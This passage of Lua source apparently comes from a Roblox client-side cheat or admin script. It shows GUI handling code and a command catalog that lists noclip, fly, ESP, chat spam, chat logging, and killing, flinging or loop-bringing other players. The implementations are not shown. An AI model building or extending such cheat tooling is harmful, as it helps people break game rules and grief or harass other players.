2214 SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
2215end)
2216
2217SpawnCFrame.Delete.MouseButton1Click:Connect(function()
2218 spawnCmds = {}
2219 updatesaves()
2220 refreshSpawnC()
2221 notify('Spawn Commands Updated','Cleared all spawn commands')
2222end)
2223
2224Add_5.MouseButton1Click:Connect(function()
2225 if Cmdbar_3.Text ~= '' and Cmdbar_3.Text ~= 'Command' then
2226 if isNumber(DelayNum.Text) then
2227 addspawn(Cmdbar_3.Text,tonumber(DelayNum.Text))
2228 refreshSpawnC()
2229 updatesaves()
2230 notify('Spawn Commands Updated','"'..Cmdbar_3.Text..'" will run when your player spawns')
2231 else
2232 notify('Spawn Command Error','Command delay must be a number')
2233 end
2234 end
2235end)
2236
2237Keybinds.Select.MouseButton1Click:Connect(function()
2238 KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
2239 wait(0.5)
2240 disablebuttons()
2241end)
2242
2243KeybindsFrame.Close.MouseButton1Click:Connect(function()
2244 enablebuttons()
2245 KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
2246end)
2247
2248Holder.Settings.Keybinds.Select.MouseButton1Click:Connect(function()
2249 KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
2250 wait(0.5)
2251 disablebuttons()
2252end)
2253
2254KeybindsFrame.Add.MouseButton1Click:Connect(function()
2255 KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, 260), "InOut", "Quart", 0.5, true, nil)
2256end)
2257
2258KeybindsFrame.Delete.MouseButton1Click:Connect(function()
2259 binds = {}
2260 refreshbinds()
2261 updatesaves()
2262 notify('Keybinds Updated','Removed all keybinds')
2263end)
2264
2265AliasesFrame.Close.MouseButton1Click:Connect(function()
2266 enablebuttons()
2267 AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
2268end)
2269
2270Settings.Aliases.Select.MouseButton1Click:Connect(function()
2271 AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
2272 wait(0.5)
2273 disablebuttons()
2274end)
2275
2276PositionsFrame.Close.MouseButton1Click:Connect(function()
2277 enablebuttons()
2278 PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
2279end)
2280
2281Settings.Positions.Select.MouseButton1Click:Connect(function()
2282 PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
2283 wait(0.5)
2284 disablebuttons()
2285end)
2286
2287SpawnCFrame.Add.MouseButton1Click:Connect(function()
2288 SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, 285), "InOut", "Quart", 0.5, true, nil)
2289end)
2290
2291Exit_4.MouseButton1Click:Connect(function()
2292 SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
2293 Cmdbar_3.Text = 'Command'
2294 DelayNum.Text = '0'
2295end)
2296
2297local selectionBox = Instance.new("SelectionBox")
2298selectionBox.Name = randomString()
2299selectionBox.Color3 = Color3.new(255,255,255)
2300selectionBox.Adornee = nil
2301selectionBox.Parent = PARENT
2302
2303local selected = Instance.new("SelectionBox")
2304selected.Name = randomString()
2305selected.Color3 = Color3.new(0,166,0)
2306selected.Adornee = nil
2307selected.Parent = PARENT
2308
2309local ActivateHighlight = nil
2310local ClickSelect = nil
2311Part.MouseButton1Click:Connect(function()
2312 ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, 335), "InOut", "Quart", 0.5, true, nil)
2313 local function HighlightPart()
2314 if selected.Adornee ~= Players.LocalPlayer:GetMouse().Target then
2315 selectionBox.Adornee = Players.LocalPlayer:GetMouse().Target
2316 else
2317 selectionBox.Adornee = nil
2318 end
2319 end
2320 ActivateHighlight = Players.LocalPlayer:GetMouse().Move:connect(HighlightPart)
2321 local function SelectPart()
2322 if Players.LocalPlayer:GetMouse().Target ~= nil then
2323 selected.Adornee = Players.LocalPlayer:GetMouse().Target
2324 Path.Text = getHierarchy(Players.LocalPlayer:GetMouse().Target)
2325 end
2326 end
2327 ClickSelect = game.Players.LocalPlayer:GetMouse().Button1Down:connect(SelectPart)
2328end)
2329
2330Exit_5.MouseButton1Click:Connect(function()
2331 ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
2332 if ActivateHighlight then
2333 ActivateHighlight:Disconnect()
2334 end
2335 if ClickSelect then
2336 ClickSelect:Disconnect()
2337 end
2338 selectionBox.Adornee = nil
2339 selected.Adornee = nil
2340 Path.Text = ""
2341end)
2342
2343CopyPath.MouseButton1Click:Connect(function()
2344 if Path.Text ~= "" then
2345 toClipboard(Path.Text)
2346 else
2347 notify('Copy Path','Select a part to copy its path')
2348 end
2349end)
2350
2351ChoosePart.MouseButton1Click:Connect(function()
2352 if Path.Text ~= "" then
2353 local tpNameExt = ''
2354 local function handleWpNames()
2355 local FoundDupe = false
2356 for i,v in pairs(pWayPoints) do
2357 if v.NAME:lower() == selected.Adornee.Name:lower()..tpNameExt then
2358 FoundDupe = true
2359 end
2360 end
2361 if not FoundDupe then
2362 notify('Modified Waypoints',"Created waypoint: "..selected.Adornee.Name..tpNameExt)
2363 pWayPoints[#pWayPoints + 1] = {NAME = selected.Adornee.Name..tpNameExt, COORD = {selected.Adornee}}
2364 else
2365 if isNumber(tpNameExt) then
2366 tpNameExt = tpNameExt+1
2367 else
2368 tpNameExt = 1
2369 end
2370 handleWpNames()
2371 end
2372 end
2373 handleWpNames()
2374 refreshwaypoints()
2375 else
2376 notify('Part Selection','Select a part first')
2377 end
2378end)
2379
2380local cmds={}
2381local customAlias = {}
2382AliasesFrame.Delete.MouseButton1Click:Connect(function()
2383 customAlias = {}
2384 aliases = {}
2385 notify('Aliases Modified','Removed all aliases')
2386 updatesaves()
2387 refreshaliases()
2388end)
2389
2390Holder.Settings.Prefix.PrefixBox:GetPropertyChangedSignal("Text"):connect(function()
2391 prefix = Holder.Settings.Prefix.PrefixBox.Text
2392 updatesaves()
2393end)
2394
2395DexNOffset = -500
2396DexOffset = -250
2397
2398function CamViewport()
2399 if workspace.CurrentCamera then
2400 return workspace.CurrentCamera.ViewportSize.X
2401 end
2402end
2403
2404function UpdateToViewport()
2405 if Holder.Position.X.Offset < -CamViewport() then
2406 Holder:TweenPosition(UDim2.new(1, -CamViewport(), Holder.Position.Y.Scale, Holder.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2407 Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2408 end
2409end
2410CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
2411
2412local function updateCamera(child, parent)
2413 if parent ~= workspace then
2414 CamMoved:Disconnect()
2415 CameraChanged:Disconnect()
2416 repeat wait() until workspace.CurrentCamera
2417 CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
2418 CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
2419 end
2420end
2421CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
2422
2423function dragMain(dragpoint,gui)
2424 spawn(function()
2425 local dragging
2426 local dragInput
2427 local dragStart
2428 local startPos
2429 local function update(input)
2430 local pos = -250
2431 local delta = input.Position - dragStart
2432 if startPos.X.Offset + delta.X <= DexNOffset then
2433 Notification:TweenPosition(UDim2.new(1, -250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2434 pos = 250
2435 else
2436 Notification:TweenPosition(UDim2.new(1, DexNOffset, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2437 pos = -250
2438 end
2439 if startPos.X.Offset + delta.X <= DexOffset and -CamViewport() <= startPos.X.Offset + delta.X then
2440 gui:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2441 Notification:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X + pos, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2442 elseif startPos.X.Offset + delta.X > DexNOffset then
2443 gui:TweenPosition(UDim2.new(1, DexOffset, gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2444 elseif -CamViewport() > startPos.X.Offset + delta.X then
2445 gui:TweenPosition(UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2446 Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
2447 end
2448 end
2449 dragpoint.InputBegan:Connect(function(input)
2450 if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
2451 dragging = true
2452 dragStart = input.Position
2453 startPos = gui.Position
2454
2455 input.Changed:Connect(function()
2456 if input.UserInputState == Enum.UserInputState.End then
2457 dragging = false
2458 end
2459 end)
2460 end
2461 end)
2462 dragpoint.InputChanged:Connect(function(input)
2463 if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
2464 dragInput = input
2465 end
2466 end)
2467 UserInputService.InputChanged:Connect(function(input)
2468 if input == dragInput and dragging then
2469 update(input)
2470 end
2471 end)
2472 end)
2473end
2474
2475dragMain(Title,Holder)
2476
2477function dragGUI(gui)
2478 spawn(function()
2479 local dragging
2480 local dragInput
2481 local dragStart
2482 local startPos
2483 local function update(input)
2484 local delta = input.Position - dragStart
2485 gui:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y), "InOut", "Quart", 0.04, true, nil)
2486 end
2487 gui.InputBegan:Connect(function(input)
2488 if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
2489 dragging = true
2490 dragStart = input.Position
2491 startPos = gui.Position
2492
2493 input.Changed:Connect(function()
2494 if input.UserInputState == Enum.UserInputState.End then
2495 dragging = false
2496 end
2497 end)
2498 end
2499 end)
2500 gui.InputChanged:Connect(function(input)
2501 if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
2502 dragInput = input
2503 end
2504 end)
2505 UserInputService.InputChanged:Connect(function(input)
2506 if input == dragInput and dragging then
2507 update(input)
2508 end
2509 end)
2510 end)
2511end
2512
2513dragGUI(logsDrag)
2514dragGUI(KeybindEditor)
2515dragGUI(PluginEditor)
2516dragGUI(SpawnCEditor)
2517dragGUI(ToPartFrame)
2518
2519local CSP = Holder
2520local frame = CSP:WaitForChild('CMDs')
2521
2522Match = function(name,str)
2523 return name:lower():find(str:lower()) and true
2524end
2525
2526canvasPos = nil
2527canvasTop = false
2528IndexContents = function(str,bool,cmdbar,anim)
2529 if str == '' or str == ' ' or str == prefix then
2530 if canvasTop == false then
2531 canvasPos = CMDsF.CanvasPosition.Y
2532 end
2533 else
2534 CMDsF.CanvasPosition = Vector2.new(0,0)
2535 canvasTop = true
2536 end
2537 local Index,SizeY = 0,0
2538 local indexnum = 0
2539 for i,v in next, frame:GetChildren() do
2540 if bool then
2541 if Match(v.Text,str) then
2542 indexnum = indexnum + 1
2543 Index = Index + 1
2544 v.Position = UDim2.new(0,10,0,Index*v.AbsoluteSize.Y-v.AbsoluteSize.Y)
2545 v.Visible = true
2546 SizeY = SizeY + v.AbsoluteSize.Y
2547 frame.CanvasSize = UDim2.new(0,0,0,SizeY)
2548 else
2549 v.Visible = false
2550 end
2551 else
2552 v.Visible = true
2553 SizeY = SizeY + v.AbsoluteSize.Y
2554 frame.CanvasSize = UDim2.new(0,0,0,SizeY)
2555 end
2556 end
2557 if not anim then
2558 if indexnum == 0 or string.find(str, " ") then
2559 if not cmdbar then
2560 minimizeHolder()
2561 elseif cmdbar then
2562 cmdbarHolder()
2563 end
2564 else
2565 maximizeHolder()
2566 end
2567 else
2568 minimizeHolder()
2569 end
2570end
2571
2572PlayerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
2573local chatbox
2574if pcall(function() chatbox = Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar end) then
2575 local function Index()
2576 if chatbox.Text:lower():sub(1,1) == prefix then
2577 if SettingsOpen == true then
2578 wait(0.2)
2579 Holder.CMDs.Visible = true
2580 Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
2581 end
2582 IndexContents(PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true)
2583 else
2584 minimizeHolder()
2585 if SettingsOpen == true then
2586 wait(0.2)
2587 Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
2588 Holder.CMDs.Visible = false
2589 end
2590 end
2591 end
2592 chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
2593
2594 chatbox.FocusLost:connect(function(enterpressed)
2595 if not enterpressed or chatbox.Text:lower():sub(1,1) ~= prefix then
2596 IndexContents('',true)
2597 if canvasPos ~= nil then
2598 CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
2599 canvasTop = false
2600 end
2601 end
2602 minimizeHolder()
2603 end)
2604
2605 Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.ChildAdded:Connect(function(newbar)
2606 wait()
2607 if newbar:FindFirstChild('BoxFrame') then
2608 chatbox = Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
2609 chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
2610 end
2611 end)
2612else
2613 print('Custom chat detected. Will not provide suggestions for commands typed in the chat.')
2614end
2615
2616local CMDs = {}
2617CMDs[#CMDs + 1] = {NAME = 'breakloops / break (cmd loops)', DESC = 'Stops any cmd loops (;100^1^cmd)'}
2618CMDs[#CMDs + 1] = {NAME = 'rejoin / rj', DESC = 'Makes you rejoin the game'}
2619CMDs[#CMDs + 1] = {NAME = 'exit', DESC = 'Kills roblox process'}
2620CMDs[#CMDs + 1] = {NAME = 'chatlogs / logs', DESC = 'Log what people say or whisper'}
2621CMDs[#CMDs + 1] = {NAME = 'serverinfo / info', DESC = 'Gives you info about the server'}
2622CMDs[#CMDs + 1] = {NAME = 'explorer / dex', DESC = 'Opens DEX explorer'}
2623CMDs[#CMDs + 1] = {NAME = 'disable / enable inventory', DESC = 'Toggles visibility of coregui items'}
2624CMDs[#CMDs + 1] = {NAME = 'disable / enable playerlist', DESC = 'Toggles visibility of coregui items'}
2625CMDs[#CMDs + 1] = {NAME = 'disable / enable chat', DESC = 'Toggles visibility of coregui items'}
2626CMDs[#CMDs + 1] = {NAME = 'disable / enable all', DESC = 'Toggles visibility of coregui items'}
2627CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2628CMDs[#CMDs + 1] = {NAME = 'addalias [cmd] [alias]', DESC = 'Adds an alias to a command'}
2629CMDs[#CMDs + 1] = {NAME = 'removealias [alias]', DESC = 'Removes a custom alias'}
2630CMDs[#CMDs + 1] = {NAME = 'clraliases', DESC = 'Removes all custom aliases'}
2631CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2632CMDs[#CMDs + 1] = {NAME = 'noclip', DESC = 'Go through objects'}
2633CMDs[#CMDs + 1] = {NAME = 'unnoclip / clip', DESC = 'Disables noclip'}
2634CMDs[#CMDs + 1] = {NAME = 'fly', DESC = 'Makes you fly'}
2635CMDs[#CMDs + 1] = {NAME = 'unfly', DESC = 'Disables fly'}
2636CMDs[#CMDs + 1] = {NAME = 'flyspeed [num]', DESC = 'Set fly speed (default is 20)'}
2637CMDs[#CMDs + 1] = {NAME = 'vehiclefly / vfly', DESC = 'Makes you fly in a vehicle'}
2638CMDs[#CMDs + 1] = {NAME = 'unvehiclefly / unvfly', DESC = 'Disables vehicle fly'}
2639CMDs[#CMDs + 1] = {NAME = 'vehicleflyspeed / vflyspeed [num]', DESC = 'Set vehicle fly speed'}
2640CMDs[#CMDs + 1] = {NAME = 'float / platform', DESC = 'Spawns a platform beneath you causing you to float'}
2641CMDs[#CMDs + 1] = {NAME = 'unfloat / noplatform', DESC = 'Removes the platform'}
2642CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2643CMDs[#CMDs + 1] = {NAME = 'spos / setwaypoint [name]', DESC = 'Sets a waypoint at your position'}
2644CMDs[#CMDs + 1] = {NAME = 'setwaypointpos [name] [X Y Z]', DESC = 'Sets a waypoint with specified coordinates'}
2645CMDs[#CMDs + 1] = {NAME = 'dpos / deletewaypoint [name]', DESC = 'Deletes a waypoint'}
2646CMDs[#CMDs + 1] = {NAME = 'lpos / waypoint [name]', DESC = 'Teleports player to a waypoint'}
2647CMDs[#CMDs + 1] = {NAME = 'clearpos / cpos / clearwaypoints', DESC = 'Clears all waypoints'}
2648CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2649CMDs[#CMDs + 1] = {NAME = 'spam [text]', DESC = 'Makes you spam the chat'}
2650CMDs[#CMDs + 1] = {NAME = 'unspam', DESC = 'Turns off spam'}
2651CMDs[#CMDs + 1] = {NAME = 'pmspam [plr] [text]', DESC = 'Makes you spam a players whispers'}
2652CMDs[#CMDs + 1] = {NAME = 'unpmspam [plr]', DESC = 'Turns off pm spam'}
2653CMDs[#CMDs + 1] = {NAME = 'spamspeed [num]', DESC = 'How quickly you spam (default is 1)'}
2654CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2655CMDs[#CMDs + 1] = {NAME = 'esp', DESC = 'View all players and their status'}
2656CMDs[#CMDs + 1] = {NAME = 'noesp / unesp', DESC = 'Removes esp'}
2657CMDs[#CMDs + 1] = {NAME = 'chams', DESC = 'ESP but without text in the way'}
2658CMDs[#CMDs + 1] = {NAME = 'nochams / unchams', DESC = 'Removes chams'}
2659CMDs[#CMDs + 1] = {NAME = 'locate [plr]', DESC = 'View a single player and their status'}
2660CMDs[#CMDs + 1] = {NAME = 'unlocate / nolocate [plr]', DESC = 'Removes locate'}
2661CMDs[#CMDs + 1] = {NAME = 'xray', DESC = 'Makes all parts in workspace transparent'}
2662CMDs[#CMDs + 1] = {NAME = 'unxray / noxray', DESC = 'Restores transparency'}
2663CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2664CMDs[#CMDs + 1] = {NAME = 'spectate / view [plr]', DESC = 'View a player'}
2665CMDs[#CMDs + 1] = {NAME = 'unspectate / unview', DESC = 'Stops viewing player'}
2666CMDs[#CMDs + 1] = {NAME = 'freecam / fc', DESC = 'Allows you to freely move camera around the game'}
2667CMDs[#CMDs + 1] = {NAME = 'unfreecam / unfc', DESC = 'Disables freecam'}
2668CMDs[#CMDs + 1] = {NAME = 'freecamspeed / fcspeed [num]', DESC = 'Adjusts freecam speed'}
2669CMDs[#CMDs + 1] = {NAME = 'fctp / freecamtp', DESC = 'Teleports you to the location of freecam'}
2670CMDs[#CMDs + 1] = {NAME = 'firstp', DESC = 'Forces camera to go into first person'}
2671CMDs[#CMDs + 1] = {NAME = 'thirdp', DESC = 'Allows camera to go into third person'}
2672CMDs[#CMDs + 1] = {NAME = 'maxzoom [num]', DESC = 'Maximum camera zoom'}
2673CMDs[#CMDs + 1] = {NAME = 'fov [num]', DESC = 'Adjusts field of view (default is 70)'}
2674CMDs[#CMDs + 1] = {NAME = 'fixcam', DESC = 'Fixes camera'}
2675CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2676CMDs[#CMDs + 1] = {NAME = 'btools (CLIENT)', DESC = 'Gives you building tools (DOES NOT REPLICATE)'}
2677CMDs[#CMDs + 1] = {NAME = 'f3x (CLIENT)', DESC = 'Loads f3x tools'}
2678CMDs[#CMDs + 1] = {NAME = 'delete [part name] (CLIENT)', DESC = 'Removes any part with a certain name from the workspace (DOES NOT REPLICATE)'}
2679CMDs[#CMDs + 1] = {NAME = 'deleteclass / dc [class name] (CLIENT)', DESC = 'Removes any part with a certain classname from the workspace (DOES NOT REPLICATE)'}
2680CMDs[#CMDs + 1] = {NAME = 'lockworkspace / lockws', DESC = 'Locks the whole workspace'}
2681CMDs[#CMDs + 1] = {NAME = 'unlockworkspace / unlockws', DESC = 'Unlocks the whole workspace'}
2682CMDs[#CMDs + 1] = {NAME = 'gotopart [part name]', DESC = 'Moves your character to a part or multiple parts'}
2683CMDs[#CMDs + 1] = {NAME = 'bringpart [part name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character'}
2684CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2685CMDs[#CMDs + 1] = {NAME = 'ambient [num] [num] [num] (CLIENT)', DESC = 'Changes ambient'}
2686CMDs[#CMDs + 1] = {NAME = 'nofog (CLIENT)', DESC = 'Removes fog'}
2687CMDs[#CMDs + 1] = {NAME = 'brightness [num] (CLIENT)', DESC = 'Changes the brightness lighting property'}
2688CMDs[#CMDs + 1] = {NAME = 'restorelighting / rlighting', DESC = 'Restores Lighting properties'}
2689CMDs[#CMDs + 1] = {NAME = 'light [radius] (CLIENT)', DESC = 'Gives your player dynamic light'}
2690CMDs[#CMDs + 1] = {NAME = 'nolight / unlight', DESC = 'Removes dynamic light from your player'}
2691CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2692CMDs[#CMDs + 1] = {NAME = 'age [plr]', DESC = 'Tells you the age of a player'}
2693CMDs[#CMDs + 1] = {NAME = 'os [plr]', DESC = "Shows a player's platform"}
2694CMDs[#CMDs + 1] = {NAME = 'bang [plr]', DESC = 'owo'}
2695CMDs[#CMDs + 1] = {NAME = 'unbang [plr]', DESC = 'uwu'}
2696CMDs[#CMDs + 1] = {NAME = 'headsit [plr]', DESC = 'Sit on a players head'}
2697CMDs[#CMDs + 1] = {NAME = 'kill [plr]', DESC = 'Kills a player'}
2698CMDs[#CMDs + 1] = {NAME = 'bring [plr] (TOOL)', DESC = 'Brings a player (YOU NEED A TOOL)'}
2699CMDs[#CMDs + 1] = {NAME = 'fling', DESC = 'Flings anyone you touch'}
2700CMDs[#CMDs + 1] = {NAME = 'unfling', DESC = 'Disables the fling command'}
2701CMDs[#CMDs + 1] = {NAME = 'loopoof', DESC = 'Loops everyones character sounds (everyone can hear)'}
2702CMDs[#CMDs + 1] = {NAME = 'unloopoof', DESC = 'Stops the oof chaos'}
2703CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2704CMDs[#CMDs + 1] = {NAME = 'respawn', DESC = 'Respawns you'}
2705CMDs[#CMDs + 1] = {NAME = 'refresh / re', DESC = 'Respawns and brings you back to the same position'}
2706CMDs[#CMDs + 1] = {NAME = 'invisible / invis', DESC = 'Makes you invisible to other players'}
2707CMDs[#CMDs + 1] = {NAME = 'weaken', DESC = 'Makes your character less dense'}
2708CMDs[#CMDs + 1] = {NAME = 'unweaken', DESC = 'Sets your characters CustomPhysicalProperties to default'}
2709CMDs[#CMDs + 1] = {NAME = 'strengthen', DESC = 'Makes your character more dense (CustomPhysicalProperties)'}
2710CMDs[#CMDs + 1] = {NAME = 'unstrengthen', DESC = 'Sets your characters CustomPhysicalProperties to default'}
2711CMDs[#CMDs + 1] = {NAME = 'speed / ws [num]', DESC = 'Change your walkspeed'}
2712CMDs[#CMDs + 1] = {NAME = 'hipheight / hheight [num]', DESC = 'Adjusts hip height'}
2713CMDs[#CMDs + 1] = {NAME = 'jumppower / jpower [num]', DESC = 'Change a players jump height'}
2714CMDs[#CMDs + 1] = {NAME = 'gravity / grav [num]', DESC = 'Change your gravity'}
2715CMDs[#CMDs + 1] = {NAME = 'sit', DESC = 'Makes your character sit'}
2716CMDs[#CMDs + 1] = {NAME = 'jump', DESC = 'Makes your character jump'}
2717CMDs[#CMDs + 1] = {NAME = 'stun / platformstand', DESC = 'Enables PlatformStand'}
2718CMDs[#CMDs + 1] = {NAME = 'unstun / unplatformstand', DESC = 'Disables PlatformStand'}
2719CMDs[#CMDs + 1] = {NAME = 'team [team name] (CLIENT)', DESC = 'Changes your team. Sometimes fools localscripts.'}
2720CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2721CMDs[#CMDs + 1] = {NAME = 'goto [plr]', DESC = 'Go to a player'}
2722CMDs[#CMDs + 1] = {NAME = 'loopgoto [plr] [distance] [delay]', DESC = 'Loop teleport to a player'}
2723CMDs[#CMDs + 1] = {NAME = 'unloopgoto [plr]', DESC = 'Stops teleporting you to a player'}
2724CMDs[#CMDs + 1] = {NAME = 'loopbring [plr] [distance] [delay] (CLIENT)', DESC = 'Loop brings a player to you (useful for killing)'}
2725CMDs[#CMDs + 1] = {NAME = 'unloopbring [plr]', DESC = 'Undoes loopbring'}
2726CMDs[#CMDs + 1] = {NAME = 'freeze / fr [plr] (CLIENT)', DESC = 'Freezes a player'}
2727CMDs[#CMDs + 1] = {NAME = 'thaw / unfr [plr]', DESC = 'Unfreezes a player'}
2728CMDs[#CMDs + 1] = {NAME = 'tpposition / tppos [X Y Z]', DESC = 'Teleports you to certain coordinates'}
2729CMDs[#CMDs + 1] = {NAME = 'offset [X Y Z]', DESC = 'Offsets you by certain coordinates'}
2730CMDs[#CMDs + 1] = {NAME = 'notifyposition / notifypos', DESC = 'Notifies you the coordinates of your character'}
2731CMDs[#CMDs + 1] = {NAME = 'copyposition / copypos', DESC = 'Copies the coordinates of your character to your clipboard'}
2732CMDs[#CMDs + 1] = {NAME = 'spawnpoint / spawn', DESC = 'Sets a position where you will spawn'}
2733CMDs[#CMDs + 1] = {NAME = 'nospawnpoint / nospawn', DESC = 'Removes your custom spawn point'}
2734CMDs[#CMDs + 1] = {NAME = 'flashback / diedtp', DESC = 'Teleports you to where you last died'}
2735CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2736CMDs[#CMDs + 1] = {NAME = 'animation / anim [ID] [speed]', DESC = 'Makes your character preform an animation (must be by roblox to replicate)'}
2737CMDs[#CMDs + 1] = {NAME = 'dance', DESC = 'Makes you d a n c e'}
2738CMDs[#CMDs + 1] = {NAME = 'undance', DESC = 'Stops dance animations'}
2739CMDs[#CMDs + 1] = {NAME = 'spasm', DESC = 'Makes you c r a z y'}
2740CMDs[#CMDs + 1] = {NAME = 'unspasm', DESC = 'Stops spasm'}
2741CMDs[#CMDs + 1] = {NAME = 'headthrow', DESC = 'Simply makes you throw your head'}
2742CMDs[#CMDs + 1] = {NAME = 'noarms', DESC = 'Removes your arms'}
2743CMDs[#CMDs + 1] = {NAME = 'nolegs', DESC = 'Removes your arms'}
2744CMDs[#CMDs + 1] = {NAME = 'nolimbs', DESC = 'Removes your limbs'}
2745CMDs[#CMDs + 1] = {NAME = 'naked', DESC = 'Removes your clothing'}
2746CMDs[#CMDs + 1] = {NAME = 'blockhead', DESC = 'Turns your head into a block'}
2747CMDs[#CMDs + 1] = {NAME = 'blockhats', DESC = 'Turns your hats into blocks'}
2748CMDs[#CMDs + 1] = {NAME = 'creeper', DESC = 'Makes you look like a creeper'}
2749CMDs[#CMDs + 1] = {NAME = 'drophats', DESC = 'Drops your hats'}
2750CMDs[#CMDs + 1] = {NAME = 'droptools', DESC = 'Drops your tools'}
2751CMDs[#CMDs + 1] = {NAME = 'spin [speed]', DESC = 'Spins your character'}
2752CMDs[#CMDs + 1] = {NAME = 'unspin', DESC = 'Disables spin'}
2753CMDs[#CMDs + 1] = {NAME = 'spinhats', DESC = 'Spins your characters accessorys'}
2754CMDs[#CMDs + 1] = {NAME = 'unspinhats', DESC = 'Undoes spinhats'}
2755CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2756CMDs[#CMDs + 1] = {NAME = 'tools', DESC = 'Copies tools from ReplicatedStorage and Lighting'}
2757CMDs[#CMDs + 1] = {NAME = 'keeptools / ktools', DESC = 'Saves tools to startergear'}
2758CMDs[#CMDs + 1] = {NAME = 'nokeeptools / noktools', DESC = 'Deletes tools in startergear'}
2759CMDs[#CMDs + 1] = {NAME = 'notools/removetools', DESC = 'Removes tools from character and backpack'}
2760CMDs[#CMDs + 1] = {NAME = 'grabtools', DESC = 'Automatically get tools that are dropped'}
2761CMDs[#CMDs + 1] = {NAME = 'ungrabtools', DESC = 'Disables grabtools'}
2762CMDs[#CMDs + 1] = {NAME = 'copytools [plr]', DESC = 'Copies a players tools'}
2763CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
2764CMDs[#CMDs + 1] = {NAME = 'addplugin / plugin [name]', DESC = 'Add a plugin via command'}
2765CMDs[#CMDs + 1] = {NAME = 'removeplugin / deleteplugin [name]', DESC = 'Remove a plugin via command'}
2766wait()
2767
2768for i = 1, #CMDs do
2769 local newcmd = Holder.Example:Clone()
2770 newcmd.Parent = Holder.CMDs
2771 newcmd.Visible = false
2772 newcmd.Text = "" .. CMDs[i].NAME
2773 newcmd.Name = 'CMD'
2774 newcmd.MouseButton1Click:Connect(function()
2775 notify(CMDs[i].NAME,CMDs[i].DESC)
2776 end)
2777end
2778
2779IndexContents('',true)
2780
2781function FindInTable(Table, Name)
2782 for i,v in pairs(Table) do
2783 if v == Name then
2784 return true
2785 end
2786 end
2787 return false
2788end
2789
2790
2791function GetInTable(Table, Name)
2792 for i = 1, #Table do
2793 if Table[i] == Name then
